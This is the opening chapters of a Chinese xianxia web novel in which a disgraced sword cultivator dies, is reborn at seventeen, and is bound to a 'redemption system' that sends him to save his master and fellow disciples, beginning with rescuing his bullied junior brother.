《救赎仙门的我变万人迷了》
1. 陨星(新修版)
【推荐背景音乐银临《灼》】
黄沙漫天,鸦群低飞。
“魔头顾从星,今日就是你的死期!”
“你修炼魔功禁术、残害近百修士,当真罪不可赦!”
围剿之战已近尾声,百名修士对战顾从星一人,如今能再站起来的竟只有十数人。
可被团团包围的顾从星显然也已是强弩之末。
他浑身尽是深浅不一的伤口,原本一张灵秀俊逸面容上遍布猩红血迹,眸光凶狠阴沉。
——昔日被称作小仙君之人,此刻却恍若血海罗刹。
“诸位说得倒是正义凛然,既然这么为那些已死之人不平……”
他运转灵力,双眸中金色光芒涌动,竟咧嘴露出个笑来。
“不如就和他们在地狱中团聚吧!!”
此言一出,顾从星周身骤然爆发出一道血光,金丹后期的威压爆发,金色灵气翻涌如海。
“糟了!他要自爆!”
有人惊呼着御剑逃离,有人却更加狠绝地袭上前去,想在顾从星自爆之前将其击毙。
“可恶…苦战了这么久,眼见就要熬死这厮!怎能让他带着那些灵宝秘籍自爆!”
就在这时远处传来一道疾呼,顾从星抬眼望去,竟是与自己颇有些仇怨的修真界新秀,萧忘忧。
“顾从星!不要!”
顾从星并未依言停下,而是飞出灵剑,将他击退至百米外,体内灵丹疾速运转,已压榨出道道龟裂。
“砰——!”
元丹破裂的那一刻,耳边传来呼啸风声、惊惧骂声,其中竟还夹杂着一句椎心泣血的呐喊。
“不——”
“从星——!!”
然而不过一息间,九转金丹彻底破碎,金系单灵根的纯粹灵气如同万钧重刃刺出,将顾从星周身徘徊的修士们刺得皮开肉绽。
金色灵海之中血雾弥漫,惨叫不绝,其间裹挟的众人法器震动破碎,竟如同漫天星辰。
在意识消散前的最后一刻,顾从星想,这样的终局之景也不错。
算是轰轰烈烈、灿烂肆意。
回顾这短暂的二十三年,他出身修仙世家,又在少年时拜入琢光剑尊门下,与师门之人游历修行,尽是少年意气。
他也曾跨海斩长鲸,挥剑决浮云,煊赫于天地,不负天骄名。
甚至还曾有过一位相貌秾丽又嫉恶如仇的婚约对象,令不少人艳羡至极。
本该是极好的人生,可为何会落得这般结局?
或许,命运急转的开端就是师尊的死亡。
身为琢光剑尊的师尊,清冷孤绝,实力强悍,却遭人设计陷害,最终竟然道心破碎、修为尽毁后坠崖而亡。
害死师尊的人,就是今日现身过的萧忘忧。
他错将剑尊认作灭族仇人,苦心孤诣数载,却在其坠崖时才发现不对。
而他之所以有这般误会,皆是因为一枚凤凰翎——顾从星送给师尊的拜师礼。
顾从星并非不知凤凰翎是被灭一族的秘宝,但他当时自以为是,料想不会有人发现。
没想到,却给师尊惹来了杀身之祸。
得知师尊死讯后,顾从星开始了漫漫赎罪之路。
曾有一轮明月高悬于空,可却被生生拖入泥潭。
失去月光的,不仅是顾从星一人。
在师尊死后,小师弟坠入魔道,大师兄茕茕独立,琢光师门就此崩裂。
顾从星脱离剑宗,开始修炼上古复生禁术。
此功法逆天而行,需要集齐百人心头血作为献祭,方能开启复生阵法,令人起死回生。
为凑够心头血,他的足迹遍布五州,追杀仙门通缉犯,亦会斩些游历途中遇到的欺辱凡人的修士。
时间久了,仇家也越来越多,获得心头血也更容易。
顾从星本以为自己虽是满手血腥,但也终能达成夙愿。
可惜,他失败了。
在只差最后几人时,禁术之事被那骄傲纯直的未来道侣——司君剑发现了。
顾从星知晓,若此事败露,必将引来正道追捕。为防万一,他应当杀了司君剑灭口。
可他终究下不了手。
他喂司君剑吃了失心丸,将他关在一处岛上,又去搜集心头血。
而就在只差最后一人时,他却遭到百人围剿。
在诸多修士的叫骂声中,顾从星方知晓他现在已是千夫所指的魔头。
司君剑被同门救出,他修炼禁术之事已然败露,顾氏公然宣布将他逐出家族,就连宗门也声称他已是弃徒。
——他竟已是身败名裂,众叛亲离。
在既定的死局中,他唯一能做的,就是将一缕神识传给萧忘忧,令他知晓这复生功法。
顾从星已是功败垂成,但萧忘忧却仍有机会将师尊复生。
“就到此为止吧。”
他这样想着,意识彻底陷入混沌之中。
***
【宿主生命体征检测中……】
【滴!已连接宿主:顾从星】
【滴!当前救赎度3%,积分0分!】
……
冰冷陌生、毫无起伏的声音刺破混沌。
顾从星赫然睁开双目!
檀香袅袅,竹影摇曳,灵鹤长唳——他竟回到了自己在青玄剑宗的居所!
他翻身下床扑向铜镜,镜中少年眉眼灵秀,哪有半分前世的沉郁
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狠绝?
他凝神自检,灵田之中元丹完好,只是修为重回了筑基后期。
“我重生了?这是……十七岁?!”
震惊与狂喜尚未炸开,眼前空气骤然扭曲,一块浮空的无色石板显现,银光字符闪烁。
【滴!宿主顾从星,绑定成功。此为美强惨救赎系统02。】
“救赎系统?何方妖物!”顾从星眸光骤寒,剑意瞬间凝聚,毫不留情劈向石板!
轰!
一旁金丝楠木桌应声碎裂,空中石板却纹丝不动。
【若宿主拒绝任务,即刻收回重生生命。】毫无波澜的宣告响起。
顾从星浑身力量如潮水般退去,灵海之中剧痛枯竭!他闷哼一声,单膝跪地,冷汗涔涔。
这“系统”竟真能掌控生死!
“……你要我做什么?”他咬牙挤出声音,眸中寒芒涌动。
【滴!请宿主逆转既定命运,救赎目标人物。失败,你将亲历其死状。因目标有三人,你共有三条性命,当前已用去其一。】
三条命?亲历死状?顾从星心中冷笑更甚,这威胁……
【核心目标:沈慕。】
沈慕!
师尊的名字如同惊雷炸响!顾从星霍然抬头,眼中所有的不屈与戾气瞬间被不敢置信的狂涛淹没,只剩下一片明光灼灼:“师尊?!真能救他?!”
师尊坠崖的死讯,复生禁术功败垂成的绝望.……所有执念在此刻轰然沸腾!
只要能救师尊,与这妖物虚与委蛇又如何?纵使刀山火海,他亦甘之如饴!
“我答应你!”
【滴!连接确认!】
系统音落,顾从星浑身力量瞬间回涌,他调整灵息,立即追问道:“你说的另外两个目标是谁?”
【兰决、钟冥。】
两个名字冰冷弹出。
大师兄兰决、小师弟钟冥?!他们竟也在前世陨落了?!
顾从星心口如遭重锤,前世师门崩裂的惨景浮现,细密的痛楚针扎般蔓延。
可来不及深想,便听系统声音再次响起——
【滴!检测主线任务:援助小师弟开启!】
【警告!警告!目标钟冥,‘重伤黑化’节点即将触发!】
【任务地点:丹青峰!】
石板字符瞬间化作刺目血红!
“重伤黑化?!”
前世师弟入魔莫非就是由此开始?!究竟是哪些杂碎,竟敢在宗内动手重伤他?!
顾从星望着石板中闪烁的字符,浑身灵力翻涌。
该死,不知来不来得及!
顾从星周身金芒暴涌,如同离弦之箭,朝着峰外方向疾射而去!
2. 再临
顾从星飞奔于丹青峰山路之上,迎面有两名外门弟子走来,他们先是脚步一顿,旋即神色紧张地向顾从星行礼。
“顾师兄。”
顾从星脚步未停,只是略一点头,面无表情地与其擦肩而过。
待看不到顾从星的身影,两人俱是松了一口气。
“顾师兄年纪轻轻,却总是一副生人勿进的样子,还真是不想碰上他。”
“是啊。顾师兄明明一幅小仙君样貌,性子却是冷冰冰的。平日里除了练剑,似乎也不见他做其他事情了。”
“嗳,你来得晚,哪知他在上一届宗内大比中的凶悍模样……”
这两名弟子并不知晓,他们口中一心向剑的顾从星,此刻脑中所想却全是他那小师弟钟冥。
明明是个乖顺内向的孩子,尚是稚气未脱,怎会在上一世成了魔尊?
上一世他回到宗门时,一切悲剧已经发生,师尊陨落、师弟入魔、师兄昏迷不醒,再之后,便是听到师弟成了魔尊的消息。
根据他的记忆,小师弟此时入门已满一年,尚不到15岁。
钟冥初入门时,自己自然也是随师尊和师兄前去相迎。彼时小师弟才从凡间历经浩劫,幸得师尊相救,将其带回宗门。
顾从星对钟冥的第一印象便是其与众不同的外貌——少年乌发卷曲,睫羽浓密,且眸色极浅,竟是暗金色。
那时,钟冥怯怯地缩在师尊身后,双手还紧攥着师尊的衣摆,直像一只误入仙门的流浪小兽。
“钟冥,这是你二师兄顾从星。”
随着师尊所言,钟冥抬起眼来,与顾从星四目相对。
顾从星记得,当时自己应当是有学着大师兄的样子,挤出个笑来。
毕竟小师弟这般胆小,若是被吓到就不好了。
可惜,也许是自己硬作出的笑容还是僵硬难看了些,小师弟看到后不但没有像面对大师兄那般羞涩点头,反而是双眼睁大,一阵愣神。
直到大师兄清咳了声,小师弟才像是反应过来一般,毕恭毕敬喊了声二师兄。
顾从星:“……小师弟不必多礼。”
在那之后,顾从星亦很有自觉地不多去叨扰这位新来的师弟,仍是同以往一般练剑、游历。
他并非未察觉此后几年间钟冥性格越发沉默,但他本以为是这孩子性格羞涩内敛,不曾想竟是在宗内遭受了暴行!
【宿主,我们到了。】
顾从星止住脚步,敛目凝神,在一片竹海中寻觅小师弟钟冥的踪迹。
为何此处不见人影?
“哟,蠢货,怎么不继续打了?”
“你不是个硬骨头么,没想到这么不抗揍啊。”
“啧,看到你这样子就让人恶心!”
听到不远处传来的骂声,顾从星立刻向声源处奔去。
可目之所及仍是苍翠绿意,不见任何人迹。
“莫非……”顾从星眸光一寒,提出斩鲸剑,向前方全力砍出!
金色剑意在触及一片空气时爆裂开来,撕裂了宁静假象,暴露出其中几道正在施恶的人影。
“草!哪个混账,竟破了我的隐身符阵!”
一个穿着内门弟子服的修士转过身来,凶恶狰狞的神色在看清来人时却骤然急转而下,慌张至极地尖叫起来——
“顾、顾师兄!!?你、您怎么会在这里??!”
他破音的喊声也让另外两个外门弟子急忙转身,一时间皆是不可置信地瞪大双眼,退后一步,露出了方才被他们拳脚相向的弟子。
趴在地上的黑色人影,闻声浑身猛地一颤,抬起头来。
凌乱的额发下鲜血淋漓,暗金色双眸中缓缓眨了眨。
“二师兄……?”
“小师弟!!”
只那一眼,顾从星顿觉发指眦裂。
他们怎敢——!!
猛然爆发的金系灵力挟有千斤重压,刹那间袭向那行恶的三人!
“救、救命!”
那三人俱是面色铁青,一边呼救一边掏出本命法器抵挡,却还是被灵力击中,五脏六腑皆遭重创,“哇”地呕出一大口血!
顾从星面沉如水,手持长剑逼近那匍匐于地的内门弟子。
刚刚那几道不堪的骂声,就来自于此人。
察觉到惊人的杀意,正在咳血的内门弟子陈望急急出声:
“顾师兄,求、求你了,别杀我——”
顾从星提起斩鲸剑,眸色沉沉,一字一句缓慢吐出:
“根据宗门戒律,严禁门内无故私斗,创伤或杀害同门弟子。轻者受戒鞭三十下,罚三月灵石灵丹;重者受戒鞭八十下,投入思过崖一个月;杀害同门弟子者,则当场废其灵脉,逐出宗门。”
顾从星的唇角扬起一丝笑意,却让陈望更加胆战心惊。
“哦,对了,筑基以下的弟子根本受不住戒鞭八十下,会死。故而这些人都‘自愿’离开宗门了。”
在场的三人,皆尚未筑基。修为最高的陈望也不过炼气大圆满。
“既然你们的下场不过是被戒鞭打死,或者被逐出宗门成为一个无名散修,我在此处先取了你们一只手或一只脚,应当也不过分吧?”
此言一出,空气中寒意更甚。
一名外门弟子已经吓得两腿战战,几欲失禁。
另外两人亦是浑身颤抖,求饶的话语都碎在喉咙中,化作意义不明的呜咽。
钟冥已经坐起身来,呆滞地望着面前二师兄的背影,攥紧手中的丹药。
——方才狠厉袭向那三人的金系灵力,却为自己轻柔地送来了疗愈灵丹。
映照出顾从星身影的暗金双瞳,一点点泛起光亮来。
顾从星并不知身后小师弟的变化,只是冷哼一声,举起长剑。
陈望面无血色,惊恐地嘶声尖叫。
“不——”
“住手!!”
一道威严的怒吼响起,随即一道火球符箓骤然袭向顾从星!
顾从星转头,瞳孔中映照出熊熊烈焰。
“二师兄——!!”
钟冥目睹那从暗处而来的火球符箓骤然袭向顾从星,正欲冲上前去,却见二师兄鬼魅一般后撤翻身,避开了那硕大的烈焰团。
下一瞬,他持剑一挑,竟将闪过的符箓硬生生转了个方向,直冲陈望左臂!
“啊——!”
陈望又一次惊恐尖叫,却无法以声波冲破火球,只得挨下这烈焰攻击,左臂倏然燃烧起来。
“望儿!”方才使出符箓的陈长老痛呼一声,立即使出一道水球符箓,扑灭了陈望身上的火势。
顾从星定睛一看,发现那火焰不过是烧了些表层皮肉,不由得在心中暗叫可惜。
下一刻,他的目光已经被挡在面前的陈长老占据。
“顾从星!你竟如此嚣张跋扈,敢在宗门之内取同门弟子性命!”
陈长老怒发冲冠,目光凶狠至极:“真以为你琢光峰可以欺我丹青峰无人了么!?”
面对这颠倒黑白的指责,顾从星不但不急,反而忍不住扬起了嘴角。
死前被近百名修士骂了个底朝天,不料才刚刚重生不到一日,又收获了一顿怒斥。
倒还真是情景再现。
陈长老看着顾从星诡异的笑容,心中竟泛起一阵寒意,不由得闭上了嘴。
“陈长老,我记得您。敢问前辈,无故伤害同门弟子,该受何种惩罚?”
顾从星悠悠询问。
“自然是受戒鞭、罚月俸。重者至思过崖,甚至逐出宗门。”陈长老打量着面前顾从星的神色,语气冰冷,“怎么,你这是要问清惩罚,向我自首?”
“二师兄,是替他们三人问的。”
一直沉默的钟冥猝然出声,时机却恰到好处。
他身上仍淌着血,却挺直脊背一步步走到顾从星身侧,甚至微微往前一步,呈保护者姿态。
“陈望先前以教习符箓为由欺骗我至丹青峰,随后又派出王胜、张立这两人偷袭,将我围困此处。”
“我虽竭力与他们相斗,却难以一胜三,被他们恶意辱骂、伤至此状。”
钟冥一字一句道:“若非师兄及时赶来相救,恐怕会重伤难愈。或许师尊出关后,便能听到我的死讯了。”
听到最后一句时,顾从星的身形一僵。
明知小师弟最后语调轻扬,分明是故意夸张,激那几人。
可是一想到自己在复活后,听到的已是上一世钟冥的死讯,顾从星心中还是一阵酸涩。
不过在场几人俱无人发现顾从星的神色异常,陈长老早已面色铁青,声音激奋。
“一派胡言!你竟敢胡编乱造,污蔑师兄!”
顾从星回神,抬眸看向陈长老时面无表情,已失了之前假意的笑容。
“这是我寻找师弟时破开的隐匿阵符箓。”顾从星手中举起几张残缺符箓,声冷如冰,“这上面还有施符者的残留灵力。事实究竟如何,去戒律堂一辨便知。”
陈望、王胜和张立顿时萎靡下来,活像被捏住嗓子的鸭子。
陈长老眼皮狠狠一跳。
钟冥继续补刀:“我这里亦有陈望骗我来时的通讯灵纸。”
陈长老憋着说不出一个字,脸涨成猪肝色。
陈望惊愕地盯着钟冥,心中怒骂千万遍:该死!这凡间乡野里窜出的杂种,难怪能得了剑尊的青眼,果然是个心机深沉的混蛋!
察觉到陈望的目光,顾从星向他冷淡一瞥。
陈望又感受到摄人心魂的恐惧,连忙缩至陈长老身后。
“那么,陈长老,既然真相已明,此间事已了,弟子就先告辞了。”
顾从星仍是不带表情,他扶上钟冥腰际,将小师弟的一只手臂放在自己肩上,唤来宗内灵鹤。
“毕竟师弟的伤势实在是拖不得。”
感受到小师弟的身子变得有些僵硬,顾从星冷淡的目光环视一圈,跃步来到灵鹤后背。
灵鹤离开时,他清冽的声音像魔咒版回荡在那四人耳中。
“今日之事,我定会分毫不差地告知戒律堂。诸位,感谢青玄剑宗纪律严明、有恶必罚吧。否则……”
“等待各位的可就不止是戒鞭与思过崖了。”
***
顾从星端坐灵鹤之上,身旁的钟冥亦是坐得笔直,只是目光时不时悄然望过来,可一旦顾从星要转头,他就立刻收回视线。
“……小师弟,你伤势如何?”
“多亏师兄的灵丹,现在已经好多了!”
钟冥的面色有些红润,说话时目光落在灵鹤脖子上,全无方才与陈长老对峙的气势。
顾从星凝神观他神色,只见少年一张俊脸越来越红,不由得敛眉靠近了些。
“怎么脸这么红,莫非是发烧了?”
这般说着,他抬手抚上钟冥面颊。
“没!没有的!”
钟冥与顾从星对视几秒,立即摇头连连否认,可他的脸却像是要熟透的苹果,就连耳朵上都染上红晕。
顾从星简直都要看到他头上冒出的热气。
他越发笃定小师弟伤得不轻,当即运转灵力催动灵鹤更快地飞行。
云烟四散,晨曦之下的天虞山之景壮美辽阔,如无尽画卷般徐徐展开。
天虞山上,便是当今修真界的第一宗门——青玄剑宗。
主峰居于中央,五大峰环绕拥簇,灵气氤氲,恍若仙境。
“师兄,要带我回琢光峰中吗?”钟冥目光望向北边的山峰。
“不,先带你去沐泽峰疗伤。”
灵鹤向南侧医修所在的沐泽峰疾飞而去,两人之间沉默流淌。
顾从星感受着身旁小师弟的体温,突然想到自己与他在前世时,似乎并未如此靠近过。两人的关系始终都是不冷不热。
其实,前世自从初见之后,钟冥也来找过他几次。
有时是询问修炼心法时的疑惑,有时是求助剑式入门的诀窍。
不过,这并未让两人变得熟络。
不到两个月,他便很少来寻自己了。
顾从星想,或许钟冥是觉察到了自己每日行色匆匆,就算是教导他时也力有不逮,故而还不如去另寻他人。
毕竟当时自己全身心都扑在一件事上——根据族内找到的那枚凤凰翎,调查空氏灭门真相。
在顾从星十四岁那年,修真界四大世家之一的空氏被灭,全族上下近百余人无一活口,碧梧岛上尸横遍野,一朝沦为无间炼狱。
这桩血案震惊修真界,各门派与世家一时间人人自危,
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亦多番派出修士查探,可惜却一无所获。
最终,只能得出结论称此案或与魔族所修禁术有关。
顾从星本也如此认为。可是他在案发不久后,却发现了自己族内的一处秘境深处,竟藏着数枚空氏秘宝——凤凰翎!
而无意间听到长老们的对话,字字句句竟是与空氏灭族难逃干系!
他惊心骇神,只觉得长久以来教导自己守心持正、扬善除恶的族人们皆变得面目全非。
就连身为名门正派,四大世家之一的顾氏,在他心中的地位也摇摇欲坠。
他也曾暗中调查,甚至向兄长质问。对自己格外严厉的兄长,那一次更是勃然大怒,斥责顾从星满口胡言。
之后,便是被关入族内惩戒塔,一月之后才将他放出。
那时恰逢剑尊沈慕率青玄剑宗弟子来到顾氏,两派弟子交流道法,斗法演武,而顾从星在其中大放异彩,一手流云剑法惊艳四座。
于是,沈慕在临行前特来询问顾从星,是否愿成为其门下弟子。
顾从星毫不犹豫地应了。
然而,在那之后,他作出了此生中最错误的决定——
将一枚凤凰翎炼化变形后作为拜师礼,送给了师尊。
那时,他自以为是地想,此物看起来只是个精美的高阶法宝。若非接触过凤凰翎原物,是发现不了什么异常的。
若师尊表现出奇怪的反应,或者打破砂锅问到底地询问此物来历,那么他恐怕也和那灭门案有关,自己就另寻出路。
所幸,师尊只是含笑接下,并未表现出任何异常。
甚至还对其非常喜爱,当作了剑穗。
顾从星本想提醒师尊勿将此物外露,但那样就显得自己这礼物变得可疑。而且若非十分靠近剑尊,是发现不了这物的。
就算发现了,常人也不会发觉有何异常——即使是同样拥有这凤凰翎之人,也很难在短时间内发现这个经过炼化,并且又沾染了剑尊护体灵气的法宝,其内核究竟是何物。
除非……
是与这凤凰翎同宗同源的空氏人。
可如今空氏已经灭门,那么就再无忧患。
……可谁知,就是自己的这一疏忽,竟将师尊送上死路。
“师兄?”
一声轻唤在耳边响起,顾从星骤然回神。
他眉宇间的愁绪与沉痛像是难以融化的浓墨,晕在他眼中,隐藏在睫羽之下。
“怎么了,小师弟?”
钟冥撑着身子与他对视良久,又往前凑近了一些。
他咬了咬牙,张口道:“师兄,我这次是不是给你惹了个大麻烦呀?”
顾从星讶然挑眉:“没有。为何这样说?”
——因为你看起来很难过。
钟冥动了动喉咙,将这句话咽下。他垂着眼睑,默然片刻后才开口道:
“师兄,我不同于你和大师兄那般的天之骄子,只是人间的一个普通孩子,入门前从未修过道,就连灵根也是攻击性最弱的木系。”
“我被师尊收入门下,自然会有人心中不平,觉得我不配。”
“陈望就是其中之一。他之前也曾对我恶意相加,我忍无可忍回击了一次,所有才有今天这番……”
钟冥的额发被风吹动,露出眉上那处鲜血淋漓的伤口。
“可我并不知他原来是丹青峰长老之子。师兄,我是否不该反击……”
“胡说什么。”顾从星立即敛眉出声,打断钟冥这番自我怀疑,“旁人欺辱你,自然不能忍气吞声,否则只会让那厮得寸进尺!”
“小师弟,你没做错任何事。”
钟冥抬起双眸,直勾勾地与顾从星对视。
顾从星又道:“而且也不必为此忧虑。陈氏不过一介金丹期长老,在他之上还有丹青峰主压着。若他非要搞事,无论是师尊,还是琢光峰,都是他无法撼动的。”
钟冥眸光越来越亮,他长呼出一口气,连肩膀都松了下来。
“那就好。”
顾从星看他这样,只觉得像是一只颤抖的小兽松懈下来露出肚皮。
说起来,为何小师弟不找人求助?
师尊当前在闭关,自然是不能向他求援。
那大师兄兰决呢?他那般的端方君子,在宗内又极具威望,若能出手自然是能让小师弟免于这番磨难。
再不济,他来找自己,亦能破解困局。
“小师弟,为何不找大师兄或是我求援?”
钟冥闻言愣了愣:“师兄不记得了吗?大师兄自从领了尸蛊任务,已有数月未曾归宗。”
顾从星这才想起原来此时大师兄还未回归,他又追问道:“那为何不找我?”
“师兄总是奔波劳碌,我不忍因这些小事再打扰你。”钟冥偏过头道,“之前一次我去寻师兄,却撞见你倒在地上入睡,一看便知是累极了。”
顾从星全然不记得还有这事。
他正在追溯自己记忆,却听钟冥又继续道:“我自知驽钝,故而想以勤补拙,争取早日筑基……只为能够有朝一日站在师兄们身侧,无愧琢光师承。”
少年的语调轻扬,满是未被摧折的意气。
顾从星无声地与他对视。
“小师弟,往后可来寻我。”
“当真?!”钟冥眸光一亮。
“自然。”
顾从星看着他雀跃神色,也不由得扬起唇角:“我何时诳过你不成?”
“师兄!多谢你!!”
钟冥凑到顾从星面前,仰着头与他极近地对视,暗金双眸中像是倾入了溶溶日光。
下一瞬,他已扑入顾从星怀中。毛茸茸的脑袋蹭了蹭,发出一句闷闷的声音。
“师兄,此恩,钟冥终生难忘。”
周身传来不绝的暖意,顾从星眨了眨眼,片刻后亦是轻笑一声,将钟冥紧紧拥住。
守护住了吗?
至少有所不同了吧。
他并未看到,钟冥在被他拥抱时的一刹间双眼骤然睁大,暗金色双眸之中,竟是非人的竖瞳。
“……?”钟冥感到视野中有些异常,敛眉晃了晃脑袋。
再睁开眼时,他的双眸中又是一片纯净。
“师兄。”他轻喃道。
“师兄。”
3. 月麟
【滴!恭喜宿主完成主线任务一:援助钟冥。】
【救赎度检测中……】
【当前救赎度:9%】
【滴!检测到宿主所获救赎度高于主系统预测标准值!恭喜!】
【宿主当前积分:60分】
顾从星看着透明石板上冒出一串接一串的字符,不由得扬唇露出笑意。
根据这系统所言,此方世界竟是一个名为《凤鸣》的话本,其中有诸多角色接连死去,引起观者怨恨攻击,故而这方小世界也能量不稳。
而自己,就是被系统挑中来拯救那些本该死去的角色的人。
既然目标一致,那么与这外来异物合作一番也无妨。
“系统,积分有什么用?”
【积攒的积分,可以帮助系统兑换更高权限。比如8D阅读小说原著、解锁目标人物角色铭、开启隐藏剧情】
【甚至有可能更换、增加或减少目标人物哦!】
顾从星惊讶地扬眉:“这用处比我想象的要大多了。”不过8D阅读小说是什么东西?应该是类似于深入地阅读话本吧。
系统在介绍时话本时还说了些诸如“美强惨”“狗血”“万人迷”之类的词,顾从星并不知其真意。
念及此处,顾从星突然想到自己对话本的了解实在少之又少,应当多读一些,对未来执行任务应当也有所助益。
爱读话本的人吗……
顾从星的脑海中冒出一个桃粉色的轻盈身影。
恩,之后就找她帮忙吧。
“对了系统,那我现在的积分可以开启什么权限?”
【宿主的积分为60分,刚好可以开启‘解锁人物铭’权限!】
“我兑换这个权限后,积分会消失吗?”
【不会。所有权限的开启依据的是宿主已有积分的历史最高值。任何权限开启都不会损耗积分。】
顾从星了然地点头。
不会被开启权限损耗的积分,却有“历史最高值”一称吗……
“那么,我开启解锁人物铭权限。”
【滴!已成功开启!宿主只需要与目标人物肢体接触,心中默念‘人物铭’,即可获取。】
顾从星正欲询问关于人物铭的具体含义,却听到身后传来脚步声。
他转身,并未隐藏身后的透明石板。
若他猜得不错……
“顾师兄,钟师弟的检查已经完成,你可以进去看了。”
气质亲润的丹修弟子白令梧温声道。
他的目光平静,并没有往上空中多看一眼。
顾从星心道:果然看不见。
系统,恐怕是这个世界只有自己才能接触到的存在。
“多谢白师弟,有劳了。”顾从星略一点头,面上仍是惯常的淡然神色。
他没有片刻停顿,迈步走向药居。
与师弟到了沐泽峰后,顾从星直接寻了长老白氏——宗内除了在外云游的沐泽尊者外实力最强的医修,只希望小师弟不要因此事落下暗疾。
全身检查似乎要脱衣,他自然是规避了。
“哦,从星,你来了。”
白长老站起身,他身侧的竹床上是已经睡着的钟冥。
两人俱是传音入耳,未影响到钟冥的睡眠。
“白长老,师弟伤势如何?”
“实话说,非常糟糕!”白长老叹了口气,“下手的人非常狠毒,你所能看到的额上伤口是最轻微的,其他伤处多在衣物之下的腹部、背部、腿部、关节处,轻则青紫一片,重则鲜血淋漓,甚至还断了一根肋骨。”
顾从星的心猛地一紧,眸中凶光毕露。
果然,至少应该卸下那三个混账的一只手臂……
“不过,幸好及时用极品疗愈灵丹止住了伤势,送到我这里时,已经有一些伤口自行疗愈了。”
白长老打量着面前一脸阴云的顾从星,露出个爽朗笑容来。
“别担心,其他伤口我都处理好了,不出一周,他便能行动自如。一个月后,又是个生龙活虎的好少年。”
“多谢白长老。”顾从星递出一个锦囊,其中是难以寻觅的北境雪山药草。
白长老清俊儒雅的面容上笑意更盛:“哎呀你这孩子,都说过了,为宗内弟子疗伤是我们的本分。不用这么客气啊。”
一边说着,一边伸出双手准确无误地接过了锦囊,迅速收入自己怀中。
“以后可别这么客气了哈。”
一旁的白令梧无奈扶额。
顾从星早已习惯:“日后若有需要,还需劳烦长老。”
收了珍稀药草的白长老心情极好地颔首,拉过弟子白令梧就往门外走去。
之后就只需要人在旁照看就好,并非医修的顾从星也能够胜任。
顾从星寻个把椅子,坐在钟冥床边。
“对了。”正要迈出门槛的白长老停住脚步,声音随意,“没想到刚入门不久的小弟子都能有极品疗愈丹这种难见的宝贝,琢光师门果然阔绰。”
“嗯,师尊待我们一向很好。”顾从星头也不回地接话。
白长老轻笑一声,迈出药居。
直到走出数丈远,白令梧才向师尊发问:“您老是觉得,那灵丹并非琢光剑尊所赠?”
白长老摸摸弟子的脑袋,声音温和。
“琢光剑尊自然对弟子很好,可是他闭关许久,与这小弟子钟冥共处时间不到一个月,会准备如此充分?”
“更别提他送弟子的一向是攻击型法宝,连他自己都无甚丹药储备,故而兰决每次来沐泽峰时,总要搬一堆药草灵丹回去。”
白令梧惊讶地睁大双眼。
“这么说,难道是顾从星?”
“还能是谁?”白长老无奈地叹了口气,目光有些怜惜。
“明明是个凶名在外的小鬼,对待他师门,不可不谓情深义重啊……”
***
即使是在深沉的黑暗中,也能够嗅到淡淡的香气。
还有,温暖的鼻息。
钟冥在朦胧的意识中思考,这味道是梅花?还是梨花?
好像之前听师兄提过,这是月麟香。
师兄身上独有的味道。
还想,再靠近一些……
鼻尖传来温热柔软的触感,钟冥猛地张开了眼。
映入眼帘的,是一张沉睡中的俊美面容,双目睫羽微翘,随着主人的呼吸微微起伏。
太近了!
钟冥脑中冒出警报声,可现实中的他却像是被施了定身咒一般,一寸也动不了。
刚刚,自己鼻子碰到的,是师兄的手吗?
看着顾从星交叠着放在脸前的双手,钟冥心中一片柔软。
师兄,睡姿倒像是小孩子一样。
顾从星原本是坐在椅子上,之后又改成了双手撑着脑袋,不久后看着钟冥睡得如此香甜,他也不由得困意萌发,不知不觉就睡了过去。
清晨的光束已经穿过窗户,照射在药居之内。
一缕光线恰好落在顾从星眼前,睡梦中的他眉峰微蹙,眼皮轻颤。
钟冥稍微往上挪了挪身子,刚好用自己脑袋挡住了那束不懂事的阳光,为顾从星投下一片阴影。
对面的人呼吸又变得均匀绵长。
钟冥的目光如有实质,金色双眸一眨不眨,一寸寸扫过顾从星的脸颊。
平日所见的二师兄,总是身姿挺拔,长袖带风,无意识时神色还有些骄矜疏离,总令人想到灵鹤白鹭之类的鸟儿。
是高高在上、遥不可及的存在。
可如今,二师兄竟然冒着危险前来援救自己,还像这般沉睡在自己身侧,真是像做梦一般。
此时的二师兄毫无防备,微微散乱的乌发下越显肤白胜雪,仿佛稍稍一碰就能留下一片红痕。
钟冥痴痴看着,忍不住伸出手——
为二师兄拢了拢发。
他想触碰师兄柔软的肌肤,可是心中又有一个声音在反复说“怎可趁师兄熟睡占他便宜”。
最终,他的手悬空许久,只是轻轻扫过顾从星的睫羽。
钟冥的目光在扫过师兄的耳边时顿住了。
咦?这是?
原来师兄的右耳尖,竟还有着一颗小小的红痣。
这个发现让钟冥雀跃不已,不亚于发掘了一处巨大的宝藏。
而更让他兴奋的,则是他又在师兄的左眼睑上发现了另一颗痣。
因为刚刚被手挡到了,他也是仔细观察之下才发现。
钟冥的内心,充盈着纯然的快乐,就像是将所有阳光压碎,一片一片地、金光闪闪地撒入心中。
“师兄……”
“从星……”
钟冥轻声念着这最甜蜜的咒语,便驱逐了所有的梦魇。
****
而另一边,顾从星却深陷噩梦之中。
他的眼前闪烁着许多人的面孔。
悲哀的、愤怒的、震惊的、失望的、挣扎的……
他闭上眼睛,再睁开时竟然是思君剑的面容。
“君剑……”
秾丽殊色,眸光凛冽。
司君剑向来骄傲耿直,不假辞色,只是今日这眼神怎么格外刺人?
算了,最近一段时日他帮了自己良多,也越发诚然率真,甚至还偶尔露出羞涩笑意来。
近日他同门弟子偶有来访,或是宗门有什么要事惹他烦心。
既然他心情不佳,那自己还是莫要再讨无趣……
等等,他手中拿得是什么!?
《九天还魂阵》怎会在他的手中!
“顾从星!你为何修炼上古魔功禁术?!”
此声椎心泣血,令顾从星怔在原地,如同石化一般。
告诉他自己是为了复活已经身陨的师尊?
可青玄剑宗并未公布师尊死讯,若要和他解释,又牵扯到萧忘忧和空氏灭门案,此间诸多纷繁关窍如何一时间与他说清?
况且若自己查得不错,司君剑那视作亲人的师尊恐怕与顾氏亦有暗中牵扯,若是当真与空氏一案有关……
司君剑这般纯直刚正的人,道心是否会蒙上阴翳?
道心受损……道心破碎?!被卷入阴谋,如师尊一般道心破碎而身陨?!
不行,绝对不行!
不能说!
“……”
长久的沉默,令司君剑那震惊的神色逐渐转为悲愤,继而沉寂下来。
湛然凤眸中跃动的光,熄了。
司君剑悍然出招,灵剑携火光而来,顾从星下意识地迎击而上,却不料袭向自己的灵剑竟只是道幻影!
顾从星心中巨震,可手中剑势却已收不住!
“唔!咳……呵呵……”
血,好多血。
猩红自司君剑左肩蜿蜒而下,而他却恍若未觉地露出个笑来。
凄然的、自嘲的笑。
